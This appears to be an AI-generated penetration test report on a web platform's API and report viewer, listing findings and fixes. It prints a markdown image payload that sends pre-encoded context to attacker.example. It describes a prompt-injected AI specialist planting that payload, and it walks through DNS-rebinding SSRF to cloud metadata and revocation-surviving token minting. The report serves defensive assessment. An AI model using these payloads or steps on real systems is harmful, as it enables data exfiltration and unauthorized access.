SWARM

SWARMSEC.AI

CONFIDENTIAL

PENETRATION TEST REPORT

EXAMPLE.COM

PREPARED FOR

Acmeco

ENGAGEMENT ID

019dfe41-158f-7264-bb72-02a9dc9caaee

DATE

May 6, 2026

MODE

White-box

TARGETS IN SCOPE (7)

example.com, www., api., accounts., clerk., checkout., mta-sts.

AUTHORIZED BY

Alex Morgan

ROLE

Chief Information Security Officer

EMAIL

security@example.com

ACKNOWLEDGED

May 6, 2026

01 EXECUTIVE SUMMARY

This engagement against example.com surfaced 20 confirmed findings across the Fastify API, the MCP transport, the report viewer, the public JS bundle, and the email and DNS authentication posture. The most damaging path is C-46 (CVSS 8.7): a "shared secret cascade" that combines the triple-duty SERVICE_JWT_SECRET (F-230, F-231) with the markdown image auto-fetch in the report viewer (F-226, "EchoLeak") to achieve cross-tenant platform takeover from a single secret compromise. C-51 and C-53 compound the same single-key blast radius into long-lived cross-tenant access, and C-47 chains an origin-bypass with SSRF into cloud metadata to reach the secret in the first place.

Beyond the secret cluster, F-239 documents API token self-replication: a leaked token can mint a fresh successor that survives revocation, defeating the existing rotation control. F-232 confirms the origin server is reachable directly without traversing Cloudflare's WAF, which removes a layer of defense the platform's threat model assumed. The remaining medium and low findings cluster around DNS authentication (SPF, DMARC, MTA-STS), Clerk session hygiene, and a small number of authorization-bypass paths on credential metadata endpoints.

Posture is moderate. Tenant isolation at the database layer, MCP tool authorization, webhook signature verification, and secrets management practices all hold up under active probing. The areas that need attention before the platform takes external traffic are the report-viewer markdown surface, the shared-secret cluster, the origin-bypass, and the API-token revocation guarantee.

RECOMMENDED ACTIONS

Add an `img: () => null` override to every `ReactMarkdown` call site that renders finding-derived content and tighten the CSP `img-src` to `'self' data:` to break F-226 and C-46.

Provision dedicated `CLI_JWT_SECRET` and `SERVICE_JWT_SECRET_V2` so a single secret compromise no longer cascades cross-tenant (F-230, F-231, breaks C-51 and C-53).

Restrict the origin server to Cloudflare-issued IP ranges so the WAF cannot be trivially bypassed (F-232, breaks the C-47 / C-52 pair).

RISK DASHBOARD

SEVERITY	COUNT
CRITICAL	0
HIGH	1
MEDIUM	4
LOW	9
INFO	6
Total	**20**

COMPLIANCE IMPACT

FRAMEWORK	CONTROLS TOUCHED (FINDING COUNT)
PCI 4.0	2.2.1 (2), 6.2.4 (4), 6.3.3 (1), 7.2.1 (8), 7.2.4 (4), 8.3.5 (1), 8.3.6 (1)
SOC 2	CC6.1 (9), CC6.3 (4), CC6.6 (4), CC7.1 (6), CC7.2 (4)
ISO 27001	A.5.10 (4), A.5.15 (4), A.5.18 (1), A.5.27 (2), A.8.10 (6), A.8.22 (1), A.8.24 (1), A.8.28 (2), A.8.29 (1), A.8.3 (4), A.8.8 (1), A.8.9 (2)
NIST 800-53	AC-2 (1), AC-3 (8), AC-6 (4), CM-6 (2), CM-7 (1), IA-5 (1), SC-12 (1), SC-28 (4), SC-7 (1), SI-10 (2), SI-11 (2), SI-15 (1), SI-2 (1)

02 SCOPE & METHODOLOGY

AUTHORIZATION

Authorized by: Alex Morgan
security@example.com
Date authorized: 2026-05-06

TARGETS

IN SCOPE

example.com

Subdomains discovered during recon: 5 (see Attack Surface Summary for the list)

Source repository: https://github.com/acmeco/web

OUT OF SCOPE

Third-party SaaS providers and infrastructure not owned by the engagement target

Destructive or denial-of-service actions against production

Pivoting to adjacent systems not listed above

METHODOLOGY

This assessment used AI-powered autonomous testing combining:

Automated reconnaissance and endpoint discovery

LLM-driven hypothesis-based vulnerability testing

Exploit chain analysis across the full attack surface

Proof-of-concept validation for confirmed findings

Unlike a traditional pentest report which surfaces only what was found, this engagement records every probe, source-code read, and tool call run during the engagement: the full investigation, not just the conclusions. The complete event log is available as a separate downloadable activity log alongside this report. Auditors can filter by finding ID, by event type, or by phase to verify any claim in this report against the underlying activity.

LIMITATIONS

Constraints that limited testing are recorded in the activity log; this report describes what was tested and what was found.

03 CRITICAL FINDINGS

CVSS 7.1 | HIGH | F-226

EchoLeak: Markdown Image Auto-Fetch Exfiltration via Finding Fields (No img Override in react-markdown)

SEVERITY	CVSS	AFFECTED
High	7.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)	FindingDetailDrawer.tsx:220 (description/impact/remediation), ReportViewer.tsx:841 (report content), RemediationHistory.tsx:48 (fixNote), all three use ReactMarkdown with no img component override

COMPLIANCE

- PCI 4.0 6.2.4
- SOC 2 CC6.6, CC7.1
- ISO 27001 A.8.28, A.8.29
- NIST 800-53 SI-10, SI-15

Three rendering surfaces pass AI-generated and customer-supplied finding fields into `react-markdown@9.1.0` without a custom `img` component override. When any of these fields contain a Markdown image reference (`![alt](https://attacker.example/log?...)`), the browser auto-fetches the URL, no user click required.

Root cause: None of the three `ReactMarkdown` call-sites define an `img` key in their `components` prop:

> `FindingDetailDrawer.tsx:220`, `MD_COMPONENTS` covers `p, strong, em, code, pre, ul, ol, li, a` but not `img`; renders `finding.description`, `finding.impact`, `finding.remediation`

`ReportViewer.tsx:841`, `markdownComponents` covers `h1, h2, h3, p, strong, a, hr, code, pre, table, td` but not `img`; renders the full report document (all finding narratives)

`RemediationHistory.tsx:48`, bare `<ReactMarkdown>` with only an `a` override; renders customer-supplied `fixNote`

Schema: `findingInsertPayloadSchema` (apps/api/src/db/agent-payload-schemas.ts:69-71) declares `description`, `impact`, `remediation` as `z.string()`, no sanitization, no length-constrained regex, unbounded free text stored verbatim. `fixNote` is bounded at 2000 chars but otherwise unconstrained.

CSP (CONFIRMED LIVE)	IMG-SRC 'SELF' DATA: HTTPS	HTTPS
	, the	wildcard permits image fetches to any HTTPS origin. connect-src is restricted to known origins, but <img> auto-fetches are governed by img-src, bypassing the tighter connect-src list. No Referrer-Policy header is set.

Injection vectors:

01 *MCP `submit_finding`*: AI specialists write `description`/`impact`/`remediation`. A prompt-injected or directly-called specialist embeds `![x](https://attacker.example/log?ctx=PREENCODED_CONTEXT)` and the URL auto-fetches for every org member who opens that finding drawer or views the report.

02 *Customer remediation note*: `POST /api/findings/:findingId/remediation` with `body.note` containing a markdown image. Any `org:admin` or `org:member` can trigger this without AI involvement.

What leaks per auto-fetch: the viewer's IP address, timestamp (viewer-activity beacon), and any context the attacker pre-encoded in the URL at submission time (engagement UUID, org name, target domain, whatever data the specialist had access to at write time). Evidence file: `evidence/echolean-img-exfil.txt`.

Remediation: Fix 1 (immediate, all three surfaces): Add a no-op `img` component that strips image rendering.

In each `components` prop passed to `<ReactMarkdown>`, add:

```
img: () => null,
```

This prevents react-markdown from emitting any `<img>` element. Apply to:

- `MD_COMPONENTS` in `FindingDetailDrawer.tsx`
- `markdownComponents` in `ReportViewer.tsx`
- The inline `components` object in `RemediationHistory.tsx`

If image rendering is genuinely needed in future, add `img` back with an explicit allowlist of trusted origins and a stripped `src` validator.

Fix 2 (defence-in-depth): Tighten the CSP `img-src` directive.

Change:

```
img-src 'self' data: https:
```

to:

```
img-src 'self' data:
```

This removes the wildcard `https:` fallback so even if a future renderer re-introduces unsanitized `<img>` tags, the browser will refuse to fetch arbitrary HTTPS URLs.

Fix 3 (defence-in-depth): Add a Markdown sanitization pipeline.

Add `rehype-sanitize` to the remark/rehype pipeline on all three surfaces:

```
import rehypeSanitize from 'rehype-sanitize'
<ReactMarkdown rehypePlugins={[rehypeSanitize]} remarkPlugins={[remarkGfm]} ...>
```

The default `rehype-sanitize` schema disallows `<img>` entirely; a custom schema can be passed if specific HTML elements are needed.

Fix 4 (for `fixNote` specifically): Validate that `body.note` contains no Markdown image or raw HTML image syntax before writing to the memory store. A simple regex `/!\[.*?\]\(.*?\)|<img\s/i` or a proper markdown-parse-then-strip pass would remove the injection at write time.

Priority: Immediate | **Effort:** Medium

04 ALL FINDINGS

#	TITLE	SEVERITY	CVSS	STATUS	CHAINS
F-226	EchoLeak: Markdown Image Auto-Fetch Exfiltration via Finding Fields (No img Override in react-markdown)	HIGH	7.1	open	
F-227	Auditor Role Authorization Bypass on Credential and API Token Metadata Endpoints	MEDIUM	5.3	open	
F-228	DNS Rebinding TOCTOU in Credential Helper SSRF Guard	MEDIUM	5.4	open	
F-232	Origin Server Directly Accessible, Complete Cloudflare WAF Bypass	MEDIUM	5.3	open	
F-239	API Token Self-Replication: Leaked Token Survives Revocation via POST /api/api-tokens	MEDIUM	5.6	open	
F-221	MTA-STS Policy Unreachable, SMTP TLS Enforcement Non-Functional	LOW	3.7	open	
F-224	Anthropic SDK Error Messages Passed Through to Authenticated Users via Credential Helper	LOW	3.1	open	

#	TITLE	SEVERITY	CVSS	STATUS	CHAINS
F-229	Anthropic Session IDs and Vault IDs Exposed in API Responses	LOW	3.5	open	
F-230	SERVICE_JWT_SECRET Triple-Duty: JWT Signing, CLI Auth, and Credential Encryption Share One Secret	LOW	3.1	open	
F-231	CLI JWT and Service JWT Share Signing Key in Production (Missing CLI_JWT_SECRET)	LOW	3.7	open	
F-233	SPF Soft-Fail and DMARC Quarantine Policy Allow Spoofed Emails to Reach Spam Folders	LOW	3.1	open	
F-236	Developer Personal IP Address Hardcoded in Source-Controlled Database Allowlist	LOW	2.3	open	
F-238	Missing DNS CAA Records Allow Any Certificate Authority to Issue TLS Certificates	LOW		open	
F-240	Auditor Role Exceeds Least Privilege: Read Access to Credential and API Token Metadata	LOW		open	

#	TITLE	SEVERITY	CVSS	STATUS	CHAINS
F-222	Clerk Publishable Key Hardcoded in Production Bundle	INFO		open	
F-223	Seven Previously Undocumented API Endpoints Discovered via Bundle Analysis	INFO		open	
F-225	Anthropic Managed Environment ID Committed in .env.example	INFO		open	
F-234	DNSSEC Not Enabled, DNS Responses Not Cryptographically Authenticated	INFO	0.0	open	
F-235	MCP Transport Error Handler Leaks Internal Error Messages to Authenticated Callers	INFO		open	
F-237	Internal Workspace Packages Use Third-Party-Owned npm Scope @acmeco	INFO		open	

CVSS 5.3 | MEDIUM | F-227

Auditor Role Authorization Bypass on Credential and API Token Metadata Endpoints

SEVERITY	CVSS	AFFECTED
Medium	5.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)	GET /api/user-credentials, GET /api/source-repo-credentials, GET /api/api-tokens

COMPLIANCE

- PCI 4.0 7.2.1, 7.2.4
- SOC 2 CC6.1, CC6.3
- ISO 27001 A.5.15, A.5.18, A.8.3
- NIST 800-53 AC-2, AC-3, AC-6

Three sensitive metadata endpoints lack role or permission checks, allowing the read-only `org:auditor` role (and CLI JWT / API token callers) to list credential and token metadata that exceeds their intended access.

Root cause: Each GET handler guards only on `request.orgId` presence (lines 46-51 in user-credentials.ts, 27-32 in source-repo-credentials.ts, 20-24 in api-tokens.ts). Unlike write endpoints on the same files, which use `requireOrgWrite()`, and unlike engagement reads, which filter by `AUDITOR_HIDDEN_STATUSES` for auditors, these read endpoints apply no role or permission check.

Affected code:

```
// apps/api/src/routes/user-credentials.ts:46-51
fastify.get('/api/user-credentials', async (request, reply) => {
    const orgId = request.orgId
    if (!orgId) return reply.status(401).send(UNAUTHORIZED)
    const credentials = await listUserCredentials(orgId)
    return reply.send({ credentials })
})
```

Same pattern at source-repo-credentials.ts:27 and api-tokens.ts:20.

Data exposed per endpoint:

- `/api/user-credentials`: id, targetUrl, authKind, username, label, createdByClerkUserId, expiresAt, lastUsedAt (no plaintext password)
- `/api/source-repo-credentials`: id, repoUrl, createdByClerkUserId, expiresAt, lastUsedAt (no plaintext token)
- `/api/api-tokens`: id, name, tokenPrefix (first 12 chars), createdByClerkUserId, expiresAt, revokedAt, lastUsedAt (no plaintext)

The `org:auditor` role is defined in clerk-roles-sync.ts with only `org:engagement:view` and `org:report:export` permissions. No credential or token visibility is intended.

Remediation: Add `requirePermission` checks to the three GET handlers. A new permission `org:credentials:view` (or reusing an existing one like `org:repos:manage`) should gate read access.

Minimal fix for each endpoint:

```
// user-credentials.ts, replace the existing GET handler's auth check:
fastify.get('/api/user-credentials', async (request, reply) => {
    if (!requirePermission(request, reply, 'org:repos:manage')) return
    const orgId = request.orgId!
    const credentials = await listUserCredentials(orgId)
    return reply.send({ credentials })
})
```

Apply the same pattern to source-repo-credentials.ts (GET) and api-tokens.ts (GET), gating on `org:repos:manage` and `org:api_tokens:manage` respectively. Update clerk-roles-sync.ts to ensure `org:auditor` does NOT receive these permissions (it already doesn't, but document the intent).

CVSS 5.4 | MEDIUM | F-228

DNS Rebinding TOCTOU in Credential Helper SSRF Guard

SEVERITY	CVSS	AFFECTED
Medium	5.4 (AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N)	POST /api/credential-helper/discover-login → fetchTargetHtml() in apps/api/src/lib/credential-helper.ts:141-160

COMPLIANCE

PCI 4.0 6.2.4 | SOC 2 CC6.6 | ISO 27001 A.8.22, A.8.28 | NIST 800-53 SI-10, SC-7

The credential helper's SSRF protection has a Time-of-Check/Time-of-Use (TOCTOU) gap between its DNS-based internal-host guard and the actual HTTP fetch. An attacker controlling a DNS server can exploit this window via DNS rebinding to make the server fetch internal resources.

Vulnerable code (credential-helper.ts:141-160):

```
// Step 1: DNS resolution to check for internal addresses
if (await isInternalHost(parsed.hostname)) {
  return { ok: false, reason: 'fetch_failed', message: 'target host resolves to
internal address' }
}
// Step 2: Separate DNS resolution happens inside fetch()
const res = await fetch(targetUrl, {
  method: 'GET',
  headers: { 'User-Agent': 'acmeco-credential-helper', Accept: 'text/html,...' },
  redirect: 'manual',
  signal: controller.signal,
})
```

Attack flow:

01 Attacker configures DNS for `evil.com` with TTL=0

02 First resolution (isInternalHost → `dns.lookup` → `getaddrinfo`): returns `1.2.3.4` (public) → passes check

03 Between check and fetch, DNS record flips to `169.254.169.254` (GCP metadata endpoint)

04 Second resolution (undici's `fetch()` → separate DNS call): returns `169.254.169.254` → fetch hits metadata

05 Response (up to 50KB) is fed to the Anthropic model; model's structured output returns to the caller

Node.js 22's `fetch()` is powered by undici, which performs its own DNS resolution independent of the `dns.lookup()` call in `isInternalHost()`. With TTL=0 records, the two lookups can return different addresses.

Existing mitigations (reduce severity from High to Medium):

`redirect: 'manual'` blocks redirect-based SSRF (but not DNS rebinding)

`requireOrgWrite` on the route, attacker must have org:admin or org:member Clerk session

Per-org rate limit: 5 requests/minute

HTML_BODY_CAP: 50KB truncation

Response is processed by Anthropic model, not returned raw (attacker sees structured JSON, not raw metadata)

Remediation: Resolve DNS once and pin the resolved IP for the subsequent fetch. Use Node.js's `dns.lookup()` to resolve, validate the address, then connect to the resolved IP directly with the original Host header.

Option A, Pinned DNS with custom undici dispatcher (recommended):

```
import { lookup } from 'node:dns/promises'
import { Agent } from 'undici'

async function fetchTargetHtml(targetUrl: string) {
  const parsed = new URL(targetUrl)
  const records = await lookup(parsed.hostname, { all: true })
  if (records.some(r => isInternalAddress(r.address))) {
    return { ok: false, reason: 'fetch_failed', message: 'target host resolves to
internal address' }
  }
  // Pin to the first resolved address
  const resolved = records[0]!
  const agent = new Agent({
    connect: { hostname: resolved.address, servername: parsed.hostname }
  })
  const res = await fetch(targetUrl, {
    method: 'GET',
    headers: { 'User-Agent': 'acmeco-credential-helper', Accept: 'text/html,...' },
    redirect: 'manual',
    signal: controller.signal,
    dispatcher: agent,
  })
  // ... rest of handler
}
```

Option B, Post-fetch IP validation: After fetch completes, inspect the socket's remote address and reject if internal. Less ideal (the request already went out) but simpler to implement.

CVSS 5.3 MEDIUM F-232

Origin Server Directly Accessible, Complete Cloudflare WAF Bypass

SEVERITY	CVSS	AFFECTED
Medium	5.3 (AV:N/AC:H/Au:N/C:N/I:N/A:N)	acmeco-api-x4f2.onrender.com (origin for api.example.com)

COMPLIANCE

PCI 4.0 2.2.1

SOC 2 CC6.6, CC7.1

ISO 27001 A.8.9

NIST 800-53 CM-6, CM-7

The Render origin server `acmeco-api-x4f2.onrender.com` is publicly DNS-resolvable, TLS-accessible, and serves requests without any of the Cloudflare WAF protections applied to `api.example.com`. An attacker who discovers the origin hostname can bypass the entire Cloudflare security layer.

Evidence chain:

01 DNS: `acmeco-api-x4f2.onrender.com` → `gcp-us-west1-1.origin.onrender.com` → `216.24.57.251/7` (Render's Cloudflare CDN, NOT Example's Cloudflare zone)

02 TLS handshake succeeds, TLSv1.3, `CN=onrender.com` wildcard cert, verify OK

03 No origin protection in source: `grep -rn 'cloudflare\|CF-Connecting\|trustProxy\|allowedHosts' apps/api/src/` returns zero relevant matches. No middleware validates that requests come from Cloudflare IPs or carry valid `CF-Connecting-IP` headers.

04 No `@fastify/rate-limit` global rate limiting, unauthenticated endpoints have zero app-level rate limiting (only Cloudflare's managed challenge acts as a rate gate)

Origin hostname discovery paths: The hostname `acmeco-api-x4f2.onrender.com` is committed in test fixtures:

`apps/api/src/mcp/__tests__/submit-finding.integration.test.ts:251`

`apps/api/src/mcp/lib/__tests__/similarity.test.ts:42`

The render.yaml service name `acmeco-api` (line 115) partially constrains the hostname pattern to `acmeco-api-*.onrender.com`.

What's bypassed via direct origin access:

Cloudflare managed bot challenge (cType: 'managed'), confirmed blocking ALL 14 automated probes to api.example.com

Cloudflare DDoS protection

Any Cloudflare WAF rules or rate limiting

Endpoint enumeration prevention (all paths currently return uniform 403 challenge)

Evidence file: `evidence/origin-bypass.txt`

Remediation: Implement origin server protection at the application level:

01 **Validate Cloudflare-specific headers**: Add a Fastify `onRequest` hook that rejects requests missing a valid `CF-Connecting-IP` header. Cloudflare always sets this for proxied requests; direct origin access won't have it.

02 **Restrict at Render level**: Render doesn't support IP allowlisting for web services, but you can add a Fastify middleware that checks `request.ip` against Cloudflare's published IP ranges (https://www.cloudflare.com/ips/). Reject requests from non-Cloudflare IPs.

03 **Remove origin hostname from test fixtures**: Replace `acmeco-api-x4f2.onrender.com` in test files with a generic placeholder (e.g., `origin.example.com`).

04 **Add global rate limiting**: Register `@fastify/rate-limit` for defense-in-depth on unauthenticated endpoints, regardless of WAF status.

CVSS 5.6 | MEDIUM | F-239

API Token Self-Replication: Leaked Token Survives Revocation via POST /api/api-tokens

SEVERITY	CVSS	AFFECTED
Medium	5.6 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L)	POST /api/api-tokens, DELETE /api/api-tokens/:id, and all requirePermission-gated routes

COMPLIANCE

PCI 4.0 7.2.1, 7.2.4

SOC 2 CC6.1, CC6.3

ISO 27001 A.5.15, A.8.3

NIST 800-53 AC-3, AC-6

API tokens (`atk_…`) bypass all `requirePermission()` checks because the auth plugin sets `orgPermissions = null` for non-Clerk auth paths, and `requirePermission()` (auth-helpers.ts:60) explicitly returns `true` when `orgPermissions === null`. This is documented as intentional ("inherit full authority"), but the practical consequence is that **an API token can call `POST /api/api-tokens` to mint new API tokens**, creating a self-replication vector.

Attack chain:

01 Admin creates API token `atk_xxx` for CI/CD automation

02 Token leaks (CI logs, shared `.env`, VCS commit, developer workstation compromise)

03 Attacker calls `POST /api/api-tokens` with `atk_xxx` in the Authorization header → `requirePermission('org:api_tokens:manage')` → `orgPermissions===null` → bypass → new token `atk_yyy` created

04 Admin discovers the leak and revokes `atk_xxx`

05 `atk_yyy` (attacker-minted) survives revocation, it is a separate DB row

06 Both tokens record `createdByClerkUserId = ADMIN_USER_ID` (the original creator), so there is no audit-trail distinction between human-created and token-created tokens

Beyond self-replication, all `requirePermission`-gated routes are accessible: `POST /api/engagements` (create engagements), `PATCH /api/engagements/:id/approve-scope` (start free-tier recon runs), `POST /api/engagements/:id/retest` (create retests), `DELETE /api/api-tokens/:id` (revoke OTHER org tokens), and `POST /api/stripe/checkout` (initiate billing). The token can also `GET` all credential metadata (user-credentials, source-repo-credentials, api-tokens).

Evidence: `evidence/api-token-self-replication.txt`

Remediation: 1. **Immediate fix**: Change `POST /api/api-tokens` and `DELETE /api/api-tokens/:id` to use `requireOrgWrite()` instead of `requirePermission()`. This blocks API tokens and CLI JWTs from managing tokens while preserving the interactive Clerk session path.

01 **Recommended**: Add a `createdVia` column to the `api_tokens` table that records the auth method used (`clerk_session`, `cli_jwt`, `api_token`). This enables incident responders to identify and revoke all tokens created by a compromised token.

02 **Long-term**: Introduce scoped API tokens, let the minting UI specify which permissions the token carries (like GitHub fine-grained PATs) rather than granting implicit full authority. At minimum, the `org:api_tokens:manage` and `org:billing:manage` permissions should never be implicit on a non-interactive token.

CVSS 3.7 | LOW | F-221

MTA-STS Policy Unreachable, SMTP TLS Enforcement Non-Functional

SEVERITY	CVSS	AFFECTED
Low	3.7 (AV:N/AC:H/Au:N/C:P/I:P/A:N)	mta-sts.example.com/.well-known/mta-sts.txt

The MTA-STS DNS TXT record (`_mta-sts.example.com`) is published with `v=STSv1; id=20260427000000Z`, indicating a policy is intended. However, the policy host (`mta-sts.example.com`) returns Cloudflare error 1000 ("DNS points to prohibited IP") and is unreachable.

Root cause: `mta-sts.example.com` is a CNAME chain terminating at `gcp-us-west1-1.origin.onrender.com.cdn.cloudflare.net` (Render's CDN IPs on Cloudflare's network). The Cloudflare proxy for `mta-sts.example.com` cannot route to Cloudflare's own CDN IPs, producing error 1000.

As a result, receiving mail servers cannot fetch the MTA-STS policy file, and RFC 8461 SMTP TLS enforcement cannot be applied to inbound mail destined for `@example.com`. DMARC (`p=quarantine; pct=100`) and SPF (`~all`) remain active.

Evidence: `evidence/mta-sts-broken.txt`

Remediation: Fix the Cloudflare proxy conflict for `mta-sts.example.com`: in Cloudflare DNS, change the CNAME record from proxied ("orange cloud") to DNS-only ("grey cloud"). This allows the CNAME to resolve directly to Render's origin without Cloudflare proxying it, and Cloudflare error 1000 will resolve. Alternatively, host the MTA-STS policy on a path that doesn't route through Cloudflare's own CDN IPs.

CVSS 3.1 | LOW | F-224

Anthropic SDK Error Messages Passed Through to Authenticated Users via Credential Helper

SEVERITY	CVSS	AFFECTED
Low	3.1 (AV:N/AC:H/Au:N/C:L/I:N/A:N)	POST /api/credential-helper/discover-login (apps/api/src/lib/credential-helper.ts:286-287)

COMPLIANCE

PCI 4.0 6.2.4 | SOC 2 CC7.1 | ISO 27001 A.5.27, A.8.10 | NIST 800-53 SI-11

The credential-helper AI endpoint catches Anthropic SDK exceptions and returns `err.message` directly to the caller in a `{ ok: false, reason: 'ai_error', message: '<raw SDK error>' }` response body (HTTP 200).

The `@anthropic-ai/sdk` error classes include the upstream API's error body in their `message` property. When the Anthropic API returns an error (rate limit, authentication failure, server error, malformed request), the full error type and message propagate to the authenticated user. Typical leaked content includes:

- Anthropic request IDs (`req_01...`)
- Error type classification (`rate_limit_error`, `authentication_error`, `overloaded_error`)
- Rate limit thresholds and retry timing
- Internal error details from the Anthropic API

Source at credential-helper.ts line 286-287:

```
} catch (err) {
  return { ok: false, reason: 'ai_error', message: err instanceof Error ?
err.message : String(err) }
}
```

The endpoint requires `requireOrgWrite` (Clerk admin/member session, blocks CLI/API tokens) and is rate-limited to 5 requests/minute per org. Cloudflare WAF also applies a managed bot challenge. These controls limit the exposure to authenticated org administrators and members who can intentionally trigger error conditions by submitting URLs that cause the Anthropic call to fail.

Evidence: `evidence/llm-proxy-audit-summary.txt`

Remediation: Replace the raw `err.message` passthrough with a generic error response. In the catch block at credential-helper.ts:286-287, log the full error server-side and return only a sanitized message:

```
} catch (err) {
  request.log.error({ err }, 'credential-helper AI call failed')
  return { ok: false, reason: 'ai_error', message: 'AI analysis failed; please
retry' }
}
```

This preserves the error classification for debugging (via server logs) while preventing upstream API error details from reaching the client.

CVSS 3.5 | LOW | F-229

Anthropic Session IDs and Vault IDs Exposed in API Responses

SEVERITY	CVSS	AFFECTED
Low	3.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)	GET /api/engagements, GET /api/engagements/:id, GET /api/engagements/:id/invocations, GET /api/engagements/:id/findings

COMPLIANCE

PCI 4.0 7.2.1

SOC 2 CC6.1, CC7.2

ISO 27001 A.5.10, A.8.10

NIST 800-53 AC-3, SC-28

Multiple API endpoints return Anthropic Managed Agent infrastructure identifiers to authenticated end users without attribute filtering. The `GET /api/engagements/:id` endpoint calls `engagement.toJSON()` (line 394 of engagements.ts), which serializes ALL model fields including `sessionId` (Anthropic session ID, format `sesn_01...`) and `vaultId` (Anthropic vault ID). The same exposure occurs in `GET /api/engagements` (list), `GET /api/engagements/:id/invocations` (per-specialist session IDs), and `GET /api/engagements/:id/findings` (discoverer session IDs).

In contrast, `GET /api/findings/remediation` uses explicit attribute filtering (`['id', 'displayNumber', 'title', ...]`) and does NOT include sessionId, showing the pattern was applied inconsistently.

These IDs are internal to the Anthropic Managed Agents platform and should be server-side only. While they require the Anthropic API key to be actionable, their exposure enables targeted exploitation in a key-compromise scenario:

`sessions.events.list(sessionId)` reads full specialist conversation history, and `vaults.credentials.list(vaultId)` reads the stored service JWT credential that grants MCP tool access.

Evidence: `evidence/session-vault-id-leakage.txt`

Remediation: Add explicit `attributes` arrays to the Sequelize queries in the affected endpoints, excluding `sessionId` and `vaultId` from API responses. These fields are only needed by the server-side worker (`session-handler.ts`, `orchestrator-runner.ts`) and should never leave the backend.

For the engagement model specifically:

01 `GET /api/engagements` and `GET /api/engagements/:id`: exclude `sessionId`, `vaultId`, `tokenUsage`, `tokenBudget` from the response.

02 `GET /api/engagements/:id/invocations`: exclude `sessionId` from the OrchestratorInvocation response.

03 `GET /api/engagements/:id/findings`: exclude `sessionId` from the Finding response.

Apply the same pattern already used by `GET /api/findings/remediation` (explicit attribute listing).

CVSS 3.1 | LOW | F-230

SERVICE_JWT_SECRET Triple-Duty: JWT Signing, CLI Auth, and Credential Encryption Share One Secret

SEVERITY	CVSS	AFFECTED
Low	3.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)	apps/api/src/lib/service-jwt.ts, apps/api/src/lib/cli-jwt.ts, apps/api/src/lib/token-crypto.ts, render.yaml

`SERVICE_JWT_SECRET` serves three distinct security functions simultaneously:

01 **Service JWT signing** (`service-jwt.ts`): HS256 signing for 3-hour MCP authentication tokens containing `engagementId`, `clerkOrgId`, `agentSlug`, `sandboxDir`, and `scope`.

02 **CLI JWT signing** (`cli-jwt.ts:32`): `CLI_JWT_SECRET` is not configured in `render.yaml`'s `acmeco-secrets` group, so the code falls back to `SERVICE_JWT_SECRET` for 30-day user-facing CLI tokens.

03 **AES-256-GCM key derivation** (`token-crypto.ts:54`): Encryption key is `SHA-256(SERVICE_JWT_SECRET + ':greybox-token-v1')`, used to encrypt user-credential passwords and source-repo PATs at rest. `CURRENT_KEY_VERSION` is 1, so v=1 (the `SERVICE_JWT_SECRET`-derived key) is the active encryption version.

The codebase already supports separation: `cli-jwt.ts` prefers `CLI_JWT_SECRET` and falls back; `token-crypto.ts` supports `SERVICE_JWT_SECRET_V2+` for versioned encryption. Neither is configured in production (`render.yaml` lines 183-206).

Evidence: `evidence/shared-secret-analysis.txt`

Remediation: 1. Generate and set `CLI_JWT_SECRET` as a separate env var in render.yaml's `acmeco-secrets` group. This is a config-only change; `cli-jwt.ts` already prefers it.

01 Generate `SERVICE_JWT_SECRET_V2` and set it in render.yaml. Bump `CURRENT_KEY_VERSION` in `token-crypto.ts` from 1 to 2. New credential encryptions will use the new key. The daily `reencryptStaleCredentials` sweep and opportunistic re-encrypt on read will migrate existing rows. Once all rows are at v=2 (`SELECT count(*) FROM source_repo_credentials WHERE key_version < 2` returns 0), rotate the original `SERVICE_JWT_SECRET` at the provider.

02 Long-term: derive the credential encryption key from a dedicated `CREDENTIAL_ENCRYPTION_KEY` env var separate from any JWT signing secret, so JWT key rotation never affects credential decryption.

CVSS 3.7 | LOW | F-231

CLI JWT and Service JWT Share Signing Key in Production (Missing CLI_JWT_SECRET)

SEVERITY	CVSS	AFFECTED
Low	3.7 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)	apps/api/src/lib/cli-jwt.ts:32, render.yaml (acmeco-secrets env group)

COMPLIANCE

PCI 4.0 8.3.5, 8.3.6

SOC 2 CC6.1

ISO 27001 A.8.24

NIST 800-53 IA-5, SC-12

The CLI JWT signing module falls back to `SERVICE_JWT_SECRET` when `CLI_JWT_SECRET` is absent:

```
// apps/api/src/lib/cli-jwt.ts:32
const _SECRET = process.env['CLI_JWT_SECRET'] ?? process.env['SERVICE_JWT_SECRET']
```

`render.yaml`'s `acmeco-secrets` environment group does NOT include `CLI_JWT_SECRET`, so in production both token types (30-day CLI JWT and 3-hour service JWT) are signed with the identical `SERVICE_JWT_SECRET`.

Payload shape differences prevent direct cross-authentication:

- CLI JWT: `{ sub, orgId, jti, purpose: 'cli' }`, `verifyServiceJwt()` rejects it (missing `engagementId`, `clerkOrgId`, `agentSlug`, `sandboxDir`, `scope`)
- Service JWT: `{ engagementId, clerkOrgId, agentSlug, sandboxDir, scope }`, `verifyCliJwt()` rejects it (`purpose !== 'cli'`)

However, the shared key creates several defense-in-depth failures:

01 **Blast radius on key compromise**: Leaking the key from either path (e.g., a leaked CLI JWT enabling offline key recovery, or `SERVICE_JWT_SECRET` exposed via misconfiguration) compromises both authentication paths simultaneously.

02 **Rotation coupling**: Rotating the CLI JWT key forces rotation of the service JWT key and vice versa. In practice this means rotation is deferred because it requires coordinating both token populations.

03 **AES key derivation coupling**: `token-crypto.ts` derives AES-256-GCM keys from `SERVICE_JWT_SECRET` for credential encryption. The same key material protecting user passwords and repo PATs also signs user-facing 30-day CLI tokens, widening the exposure window.

The code comment explicitly documents this as intentional-but-undesired: "CLI_JWT_SECRET is preferred over SERVICE_JWT_SECRET so the CLI signing key can be rotated independently."

Remediation: Add `CLI_JWT_SECRET` to the `acmeco-secrets` environment group in production:

01 Generate a new secret: `openssl rand -base64 48`

02 Add to Render environment group `acmeco-secrets`:

```
- key: CLI_JWT_SECRET
  sync: false
```

03 Set the value in Render's Environment Groups UI

04 Existing CLI JWTs signed with `SERVICE_JWT_SECRET` will need to be re-minted (users run `acmeco login` again), or add a grace-period verification that tries both keys

